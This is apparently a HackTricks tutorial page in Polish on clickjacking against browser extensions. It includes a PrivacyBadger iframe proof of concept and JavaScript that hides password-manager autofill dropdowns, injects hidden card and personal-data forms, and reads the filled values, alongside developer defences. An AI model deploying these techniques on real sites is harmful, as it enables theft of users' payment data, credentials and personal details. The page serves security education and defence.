BrowExt - ClickJacking
Reading time: 9 minutes
tip
Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.
Podstawowe informacje
Ta strona pokaże, jak wykorzystać podatność ClickJacking w rozszerzeniu przeglądarki.
Jeśli nie wiesz, czym jest ClickJacking, sprawdź:
Rozszerzenia zawierają plik manifest.json
, a ten plik JSON ma pole web_accessible_resources
. Oto, co mówią the Chrome docs:
These resources would then be available in a webpage via the URL
chrome-extension://[PACKAGE ID]/[PATH]
, which can be generated with theextension.getURL method
. Allowlisted resources are served with appropriate CORS headers, so they're available via mechanisms like XHR.1
Zasoby z web_accessible_resources
w rozszerzeniu przeglądarki nie są tylko dostępne przez sieć; działają też z uprawnieniami rozszerzenia. Oznacza to, że mogą:
- Zmieniać stan rozszerzenia
- Ładować dodatkowe zasoby
- W pewnym zakresie wchodzić w interakcję z przeglądarką
Jednak ta funkcja stanowi ryzyko bezpieczeństwa. Jeśli zasób w web_accessible_resources
posiada istotną funkcjonalność, atakujący mógłby osadzić ten zasób na zewnętrznej stronie internetowej. Niczego niespodziewający się użytkownicy odwiedzający tę stronę mogliby mimowolnie uruchomić osadzony zasób. Takie uruchomienie może prowadzić do niezamierzonych skutków, zależnych od uprawnień i możliwości zasobów rozszerzenia.
PrivacyBadger - przykład
W rozszerzeniu PrivacyBadger zidentyfikowano lukę związaną z zadeklarowaniem katalogu skin/
jako web_accessible_resources
w następujący sposób (sprawdź oryginalny blog post):
"web_accessible_resources": [
"skin/*",
"icons/*"
]
Ta konfiguracja doprowadziła do potencjalnego problemu bezpieczeństwa. Konkretnie, plik skin/popup.html
, który jest renderowany po interakcji z ikoną PrivacyBadger w przeglądarce, mógł być osadzony w iframe
. Takie osadzenie mogło zostać wykorzystane do zmanipulowania użytkowników, aby nieświadomie kliknęli "Disable PrivacyBadger for this Website". Taka akcja naruszałaby prywatność użytkownika przez wyłączenie ochrony PrivacyBadger i potencjalnie narażenie go na zwiększone śledzenie. Wizualna demonstracja tego exploita jest dostępna w ClickJacking video example pod adresem https://blog.lizzie.io/clickjacking-privacy-badger/badger-fade.webm.
Aby usunąć tę podatność, wprowadzono proste rozwiązanie: usunięcie /skin/*
z listy web_accessible_resources
. Ta zmiana skutecznie zredukowała ryzyko, zapewniając, że zawartość katalogu skin/
nie była dostępna ani możliwa do manipulacji poprzez web_accessible_resources
.
Naprawa była prosta: remove /skin/*
from the web_accessible_resources
.
PoC
<!--https://blog.lizzie.io/clickjacking-privacy-badger.html-->
<style>
iframe {
width: 430px;
height: 300px;
opacity: 0.01;
float: top;
position: absolute;
}
#stuff {
float: top;
position: absolute;
}
button {
float: top;
position: absolute;
top: 168px;
left: 100px;
}
</style>
<div id="stuff">
<h1>Click the button</h1>
<button id="button">click me</button>
</div>
<iframe
src="chrome-extension://ablpimhddhnaldgkfbpafchflffallca/skin/popup.html">
</iframe>
Przykład Metamask
A Artykuł na blogu o ClickJacking w Metamask można znaleźć tutaj. W tym przypadku Metamask naprawił podatność, sprawdzając, czy protokół używany do dostępu to https:
lub http:
(nie chrome:
, na przykład):
.png)
Kolejny ClickJacking naprawiony w rozszerzeniu Metamask polegał na tym, że użytkownicy mogli kliknąć, aby dodać do białej listy gdy strona podejrzana o phishing miała “web_accessible_resources”: [“inpage.js”, “phishing.html”]
. Ponieważ ta strona była podatna na Clickjacking, atakujący mógł to nadużyć, pokazując coś normalnego, żeby ofiara nie zauważyła i kliknęła dodanie do białej listy, a następnie wrócić do strony phishingowej, która zostanie umieszczona na białej liście.
Przykład Steam Inventory Helper
Sprawdź następującą stronę, aby zobaczyć, jak XSS w rozszerzeniu przeglądarki został połączony z podatnością ClickJacking:
DOM-based Extension Clickjacking (interfejsy autouzupełniania menedżerów haseł)
Klasyczny extension clickjacking wykorzystuje błędnie skonfigurowane web_accessible_resources
do umieszczania iframe z uprzywilejowanym HTML i wymuszania kliknięć użytkownika. Nowsza klasa, DOM-based extension clickjacking, celuje w rozwijane listy autouzupełniania wstrzykiwane przez menedżery haseł bezpośrednio do DOM strony i używa sztuczek CSS/DOM, aby je ukryć lub zaciemnić, zachowując jednak możliwość klikania. Jedno wymuszone kliknięcie może wybrać zapisany element i wypełnić pola kontrolowane przez atakującego danymi wrażliwymi.
Model zagrożeń
- Atakujący kontroluje stronę (lub uzyskuje XSS/przejęcie subdomeny/zatrucie cache na powiązanej domenie).
- Ofiara ma zainstalowane i odblokowane rozszerzenie menedżera haseł (niektóre autouzupełniania działają nawet gdy nominalnie jest zablokowane).
- Wymuszone jest co najmniej jedno kliknięcie użytkownika (nakładane bannery cookie, dialogi, CAPTCHAs, gry itp.).
Przebieg ataku (ręczne autouzupełnianie)
- Wstrzyknij niewidoczny, ale możliwy do skupienia formularz (pola login/PII/karty kredytowej).
- Ustaw fokus na polu, aby wywołać rozwijane menu autouzupełniania rozszerzenia obok pola.
- Ukryj lub przysłoni interfejs rozszerzenia, zachowując jego interaktywność.
- Wyrównaj wiarygodny kontroler pod ukrytym rozwijanym menu, aby wymusić kliknięcie wybierające element.
- Odczytaj wypełnione wartości z formularza atakującego i wyeksfiltruj.
Jak ukryć interfejs autouzupełniania
- Element rozszerzenia
- Przezroczystość elementu root (ogólne):
// Reduce or nullify opacity of the extension root
// Works when the root element is attached in the page DOM
const root = document.querySelector('protonpass-root')
if (root) root.style.opacity = 0
- Potomek wewnątrz otwartego ShadowRoot (dynamiczny tag, ukryj wewnętrzny iframe):
// Find dynamic root like <protonpass-root-xyz> and hide its child iframe
const root = Array.from(document.querySelectorAll('*'))
.find(el => el.tagName.toLowerCase().startsWith('protonpass-root-'))
if (root?.shadowRoot) {
const frame = root.shadowRoot.querySelector('iframe')
if (frame) frame.style.cssText += 'opacity:0 !important;'
}
- Element nadrzędny
- BODY/HTML opacity tricks, aby uczynić UI rozszerzenia niewidocznym, podczas gdy strona wygląda normalnie (np. tło do zrzutu ekranu):
// Hide full page, then reveal a tiny amount to keep clicks working
document.body.style.opacity = 0
// Optional: Show a screenshot/lookalike to avoid a blank screen
// document.documentElement.style.backgroundImage = 'url(website.png)'
// Inject a credit-card form and focus to trigger dropdown
/* create #cardform with #cardnumber, #expiry, #cvc */
document.getElementById('cardnumber').focus()
// Make body barely visible to allow user interaction
document.body.style.opacity = '0.001'
function getCardValues() {
const num = document.getElementById('cardnumber').value
const exp = document.getElementById('expiry').value
const cvc = document.getElementById('cvc').value
// exfiltrate via XHR/fetch/websocket
}
- Nakładka
- Częściowa nakładka: zakryj wszystko poza kilkoma pikselami, tak aby dropdown pozostał klikalny (upewnij się, że attacker overlay jest ostatni w DOM z maksymalnym z-index, lub użyj Top Layer).
- Pełna nakładka używająca pointer-events:none, aby kliknięcia przechodziły do ukrytego dropdownu; utrzymaj ją persistentną za pomocą Popover API:
<div id="overlay" popover style="pointer-events:none;">Cookie consent</div>
<script>
overlay.showPopover()
// Inject a personal data form and focus to trigger dropdown
/* create #personalform with #name/#email/#phone/... */
document.getElementById('name').focus()
function getData(){ /* read + exfil values on change */ }
</script>
Pozycjonowanie kliknięcia ofiary
- Fixed placement: umieść ukryte rozwijane menu pod wiarygodnym elementem sterującym, takim jak „Akceptuj pliki cookie”, „Zamknij” lub pole wyboru CAPTCHA.
- Follow-mouse: przesuwaj fokusowane pole wejściowe pod kursor, tak aby rozwijane menu je śledziło; okresowo przywracaj fokus, aby pojedyncze kliknięcie w dowolnym miejscu wybierało element:
const f = document.getElementById('name')
document.addEventListener('mousemove', e => {
personalform.style = `top:${e.pageY-50}px;left:${e.pageX-100}px;position:absolute;`
// some managers hide the dropdown if focus is lost; refocus slowly
setTimeout(() => f.focus(), 100)
})
Wpływ i scenariusze
- Attacker-controlled site: jedno wymuszone kliknięcie może wyprowadzić dane karty płatniczej (number/expiry/CVC) oraz dane osobowe (name, email, phone, address, DOB), które nie są ograniczone do domeny.
- Trusted site with XSS/subdomain takeover/cache poisoning: wielokrotne kliknięcia mogą wykraść poświadczenia (username/password) i TOTP, ponieważ wiele managerów autofilluje dane w ramach powiązanych subdomen/domen nadrzędnych (np.
*.example.com
). - Passkeys: jeśli RP nie wiąże wyzwań WebAuthn z sesją, XSS może przechwycić podpisane stwierdzenie; DOM-based clickjacking ukrywa monit passkey, aby wywołać potwierdzające kliknięcie użytkownika.
Ograniczenia
- Wymaga co najmniej jednego kliknięcia użytkownika oraz dobrego dopasowania pikseli (realistyczne nakładki ułatwiają wywoływanie kliknięć).
- Auto-lock/logout ogranicza okna możliwości wykorzystania; niektóre managery nadal autofillują, gdy są „zablokowane”.
Zabezpieczenia dla deweloperów rozszerzeń
- Renderuj UI autofill w Top Layer (Popover API) lub w inny sposób zapewnij, że leży nad stakowaniem strony; unikaj bycia zasłoniętym przez nakładki kontrolowane przez stronę.
- Odporny na modyfikacje CSS: preferuj Closed Shadow DOM i monitoruj za pomocą
MutationObserver
podejrzane zmiany stylów na korzeniach UI. - Wykrywaj wrogie nakładki przed wypełnieniem: enumeruj inne top-layer/popover elementy, tymczasowo wyłącz
pointer-events:none
i użyjelementsFromPoint()
do wykrycia zasłonięcia; zamknij UI jeśli istnieją nakładki. - Wykrywaj podejrzane zmiany
<body>
/<html>
w zakresie opacity lub stylów zarówno przed, jak i po renderze. - Dla problemów związanych z iframe: zawężaj zakres MV3
web_accessible_resources
matches
i unikaj wystawiania HTML UI; dla nieuniknionego HTML serwujX-Frame-Options: DENY
lubContent-Security-Policy: frame-ancestors 'none'
.
References
- https://blog.lizzie.io/clickjacking-privacy-badger.html
- https://slowmist.medium.com/metamask-clickjacking-vulnerability-analysis-f3e7c22ff4d9
- DOM-based Extension Clickjacking (marektoth.com)
tip
Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.